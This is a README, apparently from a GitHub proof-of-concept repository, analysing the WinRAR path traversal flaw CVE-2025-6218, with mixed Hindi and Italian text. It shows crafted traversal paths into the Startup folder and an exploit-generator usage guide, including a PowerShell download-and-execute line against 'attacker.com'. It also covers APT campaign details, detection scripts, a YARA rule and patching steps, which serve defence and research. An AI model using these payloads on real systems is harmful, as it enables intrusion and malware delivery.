
CVE-2025-6218 के लिए व्यापक विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट - WinRAR पथ ट्रैवर्सल RCE भेद्यता जो संस्करण 7.11 और उससे पहले के संस्करणों को प्रभावित करती है
⚠️ गंभीर कमजोरी - सक्रिय शोषण की पुष्टि
CVE-2025-6218 WinRAR में एक गंभीर पथ ट्रैवर्सल कमजोरी है जो मनमाना कोड निष्पादन की अनुमति देती है। वर्तमान में APT समूहों जैसे GOFFEE, Bitter (APT-C-08) और Gamaredon द्वारा शोषित।
CVE-2025-6218 Windows के लिए WinRAR में एक गंभीर पथ ट्रैवर्सल कमजोरी है जो हमलावरों को मनमाना कोड निष्पादित करने की अनुमति देती है।
एक हमलावर कर सकता है:
WinRAR विशेष .rar संग्रहों के अंदर फ़ाइल पथों को सही ढंग से मान्य नहीं करता है। जब कोई उपयोगकर्ता एक दूषित संग्रह निकालता है, तो फ़ाइलें पथ ट्रैवर्सल अनुक्रमों (../ या ..\\) का उपयोग करके इच्छित निष्कर्षण फ़ोल्डर के बाहर मनमाने पथों पर लिखी जा सकती हैं।
// Pseudocodice - WinRAR v7.11 (VULNERABILE) void extract_file(rar_entry *entry, char *dest_dir) { char final_path[MAX_PATH];
strcpy(final_path, dest_dir); // "C:\\Temp\\"
strcat(final_path, entry->filename); // + "..\\..\\..\\Windows\\System32\\malware.exe"
// ❌ ERRORE: Nessuna validazione del path traversal!
// final_path = "C:\\Temp\\..\\..\\..\\Windows\\System32\\malware.exe"
// Risolto come: "C:\\Windows\\System32\\malware.exe" ← EXPLOIT!
create_file(final_path); // File creato in directory non intesa
}
### v7.11 में अनुपस्थित सुरक्षाएँ
- ❌ कोई जाँच नहीं कि फ़ाइल `dest_dir` के अंदर रहती है या नहीं
- ❌ `..` या `.` अनुक्रमों पर कोई फ़िल्टर नहीं
- ❌ पथों का कोई सामान्यीकरण नहीं
- ❌ अनुमत निर्देशिकाओं की कोई श्वेतसूची नहीं
- ❌ संयोजन (containment) का कोई सत्यापन नहीं
### v7.12 में सुधार```c
// WinRAR v7.12 (PATCHED)
bool is_path_contained(char *path, char *base_dir) {
char canonical[MAX_PATH], canonical_base[MAX_PATH];
// Normalizza entrambi i percorsi
GetFullPathName(path, MAX_PATH, canonical, NULL);
GetFullPathName(base_dir, MAX_PATH, canonical_base, NULL);
// Verifica contenimento
if (strncmp(canonical, canonical_base, strlen(canonical_base)) != 0) {
return false; // Path esce dalla directory base
}
return true;
}
void extract_file_safe(rar_entry *entry, char *dest_dir) {
char final_path[MAX_PATH];
strcpy(final_path, dest_dir);
strcat(final_path, entry->filename);
// ✅ FIX: Verifica che il file rimane dentro dest_dir
if (!is_path_contained(final_path, dest_dir)) {
skip_extraction(); // Rifiuta estrazione
log_error("Path traversal detected!");
return;
}
create_file(final_path); // Adesso sicuro
}
Cartella di Estrazione: C:\Temp\Extract
Path nel RAR (craft): ..\..\..\..\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
Risoluzione Path: C:\Temp\Extract\.. = C:\Temp\ C:\Temp\.. = C:\ C:\.. = C:\ (non può andare oltre)
= C:\Users\\AppData\Roaming\...\Startup\payload.bat ✓
### आक्रमण प्रवाह आरेख```
┌─────────────────────────────────────────────┐
│ 1. Attaccante crea RAR con path craft │
│ es: ..\\..\\..\\Startup\\malware.bat │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 2. Distribuzione via spear-phishing │
│ Email mirata con allegato RAR │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 3. Vittima estrae archivio con WinRAR │
│ (versione ≤ 7.11) │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 4. WinRAR non valida path traversal │
│ File estratto in Startup folder │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 5. Al boot: payload eseguito │
│ RAT stabilisce C2 connection │
└─────────────────────────────────────────────┘
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
wmic datafile where name="C:\\Program Files\\WinRAR\\WinRAR.exe" get Version
## 🌍 हमले के परिदृश्य
### परिदृश्य 1: Bitter/APT-C-08 Spear-Phishing (सक्रिय पुष्टि)
**लक्ष्य**: सरकार, सैन्य संगठन, रणनीतिक संस्थान```
Email Phishing:
From: [email protected]
Subject: "Provision of Information for Sectoral for AJK.rar"
Attachment: Provision_of_Information.rar
Contenuto Archive:
├── Document.docx (esca legittima - report convincente)
└── ..\\..\\..\\..\\Users\\User\\AppData\\Roaming\\Microsoft\\Office\\STARTUP\\Template.dotm
(macro malato nascosto)
Esecuzione:
1. Vittima estrae RAR
2. WinRAR non valida path → Template.dotm finisce in Office STARTUP
3. Prossimo avvio Word → Macro eseguita automaticamente
4. PowerShell downloader attivato
5. C# Trojan scaricato: WmRAT, MiyaRAT, ZxxZ
6. C2 Server: johnfashionaccess.com
7. Capabilities:
- Keylogging
- Screenshot capture
- RDP credential stealing
- File exfiltration
- Lateral movement
लक्ष्य: रूसी सरकारी संगठन``` RAR specializzato: ├── run.bat (path: ..\..\..\..\Windows\Startup\run.bat) └── legitimate_document.pdf (esca)
Attack Chain:
### परिदृश्य 3: रैनसमवेयर वितरण```
RAR Weaponized:
└── locker.exe (path: ..\\..\\..\\Startup\\locker.exe)
Infezione:
1. Estrazione RAR
2. locker.exe → Startup folder
3. Sistema reboota (naturale o forzato)
4. locker.exe eseguito con diritti user
5. File system encryption
6. Ransom note displayed
7. Bitcoin payment richiesto
✅ Windows VM (10, 11, Server) ✅ WinRAR versione ≤ 7.11 installato ✅ Network isolato (no internet - safety first!) ✅ Snapshot VM per rollback ✅ Admin access per testing
### प्रयोगशाला वातावरण सेटअप```powershell
# 1. Crea VM Windows pulita
# 2. Installa WinRAR 7.11
winget install RARLab.WinRAR --version 7.11
# 3. Verifica versione
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Output: 7.11.0.0 ✓
# 4. Disabilita network
Set-NetAdapter -Name "Ethernet" -Enabled $false
# 5. Crea snapshot
# VM → Snapshot → "Clean WinRAR 7.11 Vulnerable"
git clone https://github.com/Chrxstxqn/CVE-2025-6218-WinRAR-RCE-POC.git cd CVE-2025-6218-WinRAR-RCE-POC
python3 exploit/generate_rar.py
--target startup
--payload calc.exe
--output exploit_poc.zip
ls "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
shutdown /r /t 0
### Exploit Generator उपयोग```bash
# Genera payload per Startup folder
python3 exploit/generate_rar.py --target startup --payload shell.bat
# Genera payload per System32 (richiede admin)
python3 exploit/generate_rar.py --target system32 --payload malware.exe
# Genera con custom batch command
python3 exploit/generate_rar.py \
--target startup \
--payload dropper.bat \
--batch "powershell -NoProfile -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
# Targets disponibili:
# - startup : Auto-execution at login
# - system32 : System directory (needs admin)
# - appdata : User AppData
# - documents : User Documents
# - temp : User Temp folder
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Recurse -File | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
Get-ChildItem "$env:APPDATA\Microsoft\Office" -Include ".dotm",".xlsm" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
Get-WinEvent -LogName Security -FilterXPath "*[EventData[Data[@Name='ObjectName'] and contains(., 'System32')]]" -MaxEvents 100
### प्रक्रिया निष्पादन```powershell
# Verifica processi in esecuzione da Startup
Get-WmiObject Win32_Process | Where-Object {
$_.ExecutablePath -like "*Startup*"
} | Select-Object Name, ExecutablePath, ProcessId
# Monitor WinRAR extraction con Sysmon (Event ID 11: File Created)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=11]] and *[EventData[Data[@Name='Image'] and contains(., 'WinRAR')]]" -MaxEvents 50
johnfashionaccess.com (Bitter/APT-C-08) [additional IOCs from CISA KEV]
### ईमेल संकेतक```
Subject patterns:
- "Provision of Information"
- "Sectoral for AJK"
- Government-related keywords
Senders:
- [email protected]
- Free email providers (Gmail, Outlook)
Attachments:
- .RAR files da external senders
- Legitimate-looking document names
rule CVE_2025_6218_WinRAR_PathTraversal { meta: description = "Detect RAR archives with path traversal sequences" author = "Christian Schito" date = "2025-12-15" cve = "CVE-2025-6218"
strings:
$rar_sig = { 52 61 72 21 } // "Rar!" signature
$traversal1 = "..\\" ascii wide
$traversal2 = "../" ascii wide
$startup = "Startup" ascii wide nocase
$system32 = "System32" ascii wide nocase
condition:
$rar_sig at 0 and
(#traversal1 > 3 or #traversal2 > 3) and
($startup or $system32)
}
## 🛡️ शमन
### 🔴 तत्काल पैच (महत्वपूर्ण)```powershell
# Verifica versione attuale
$version = (Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
if ($version -le "7.11.0.0") {
Write-Host "🔴 VULNERABILE! Update richiesto!" -ForegroundColor Red
} else {
Write-Host "🟢 SAFE - Versione $version patched" -ForegroundColor Green
}
# Download WinRAR 7.12+
# https://www.rarlab.com/rar_add.htm
# Deploy aziendale (SCCM/Intune)
msiexec /i WinRAR-x64-721.msi /quiet /norestart
# Verifica post-update
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Dovrebbe essere ≥ 7.12.0.0
✅ Blocca .RAR da external domains ✅ Quarantine archives per deep scanning ✅ Content disarm and reconstruction (CDR) ✅ Sandboxing di allegati sospetti ✅ YARA rules per detection
#### एंडपॉइंट सुरक्षा```powershell
# Scheduled task per monitoring
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-File C:\Scripts\monitor_startup.ps1'
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "CVE-2025-6218 Monitor" -Description "Monitor Startup folder for suspicious files"
# Sysmon configuration
# Monitor Event ID 11 (File Created) in sensitive directories
✅ Separate admin workstations ✅ Block egress to known C2 domains ✅ Monitor for suspicious DNS queries ✅ Implement zero-trust network access
#### Application Whitelisting```powershell
# AppLocker policy - Block execution from APPDATA\Startup
$rule = New-AppLockerPolicy -RuleType Path -Path "$env:APPDATA\*\Startup\*" -Action Deny -User Everyone
Set-AppLockerPolicy -PolicyObject $rule
✅ Non aprire archivi da email unknown ✅ Verify sender identity prima di aprire attachments ✅ Report suspicious emails al security team ✅ Keep software up-to-date ✅ Use sandboxed environment per file sospetti
---
## 📅 समयरेखा
| दिनांक | घटना |
|--------|------|
| **अज्ञात** | कमजोरी का पता चला |
| **जून 2025** | RARLAB ने पैच के साथ WinRAR 7.12 जारी किया |
| **जुलाई 2025** | GOFFEE (Paper Werewolf) ने सक्रिय शोषण शुरू किया |
| **अगस्त 2025** | BI.ZONE ने विस्तृत तकनीकी विश्लेषण प्रकाशित किया |
| **सितंबर 2025** | Bitter/APT-C-08 की स्पीयर-फिशिंग अभियानों में पुष्टि हुई |
| **नवंबर 2025** | यूक्रेन के खिलाफ Gamaredon के शोषण की पुष्टि |
| **9 दिसंबर 2025** | 🔴 **CISA CVE-2025-6218 को KEV कैटलॉग में जोड़ता है** |
| **30 दिसंबर 2025** | अमेरिकी संघीय एजेंसियों के लिए अनिवार्य पैच समय सीमा |
---
## 📁 भंडार संरचना```
CVE-2025-6218-WinRAR-RCE-POC/
├── README.md # Questa guida completa
├── LICENSE # MIT License
├── docs/
│ ├── TECHNICAL_ANALYSIS.md # Deep dive tecnico
│ ├── DETECTION.md # Forensics & IOC
│ ├── IOC_INDICATORS.md # Indicators of Compromise
│ └── SETUP.md # Lab setup guide
├── exploit/
│ ├── generate_rar.py # POC exploit generator (Python)
│ ├── CVE-2025-6218.bat # Batch script POC
│ └── README.md # Exploit usage guide
├── tools/
│ ├── detect.ps1 # Detection PowerShell script
│ ├── check_version.ps1 # Version checker
│ └── monitor_startup.ps1 # Startup folder monitor
└── samples/
├── yara_rules.yar # YARA detection rules
└── sysmon_config.xml # Sysmon configuration
⚠️ केवल शैक्षिक एवं अनुसंधान उपयोग हेतु
यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा अनुसंधान के लिए प्रदान की गई है।
L'autore NON è responsabile per:
Usando questo repository, accetti di:
**कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। आपको चेतावनी दी गई है।**
---
## 📄 लाइसेंस
MIT लाइसेंस - विवरण के लिए [LICENSE](https://github.com/chrxstxqn/cve-2025-6218-winrar-rce-poc/blob/HEAD/LICENSE) देखें
---
## 🤝 योगदान
योगदान का स्वागत है! यदि आपके पास:
- 🐛 बग रिपोर्ट
- 💡 सुविधा अनुरोध
- 📝 दस्तावेज़ीकरण सुधार
- 🔬 अतिरिक्त IOC
एक **Issue** या **Pull Request** खोलें!
---
## 📞 संपर्क
**लेखक**: Christian Schito
**GitHub**: [@Chrxstxqn](https://github.com/Chrxstxqn)
**अंतिम अद्यतन**: दिसंबर 15, 2025
**स्थिति**: 🔴 सक्रिय अनुसंधान - शोषण की पुष्टि
---
<div align="center">
**⭐ यदि यह रिपॉजिटरी आपके लिए उपयोगी है, तो एक स्टार दें! ⭐**
**🔒 सुरक्षित रहें। अभी पैच करें। 🔒**
</div>
| पहलू | विवरण |
|---|
| CVSS Score | 7.8 (High) |
| कमजोर संस्करण | WinRAR ≤ 7.11 (Windows only) |
| प्लेटफॉर्म | Windows 10, 11, Server |
| प्रभावित उपयोगकर्ता | ~500 मिलियन |
| पैच किया गया | WinRAR 7.12 (जून 2025) |
| स्थिति | 🔴 सक्रिय शोषण |
| CISA KEV | 9 दिसंबर 2025 को जोड़ा गया |
| संस्करण | स्थिति | नोट्स |
|---|
| ≤ 7.10 | 🔴 कमजोर | सभी एक्सप्लॉइट काम करते हैं |
| 7.11 | 🔴 कमजोर | अंतिम कमजोर संस्करण |
| 7.12 Beta 1+ | 🟢 पैच किया गया | पथ ट्रैवर्सल फिक्स |
| 7.12+ | 🟢 पैच किया गया | फिक्स के साथ स्थिर रिलीज |
| UNIX / Android | ✅ प्रभावित नहीं | गैर-विंडोज संस्करण प्रभावित नहीं |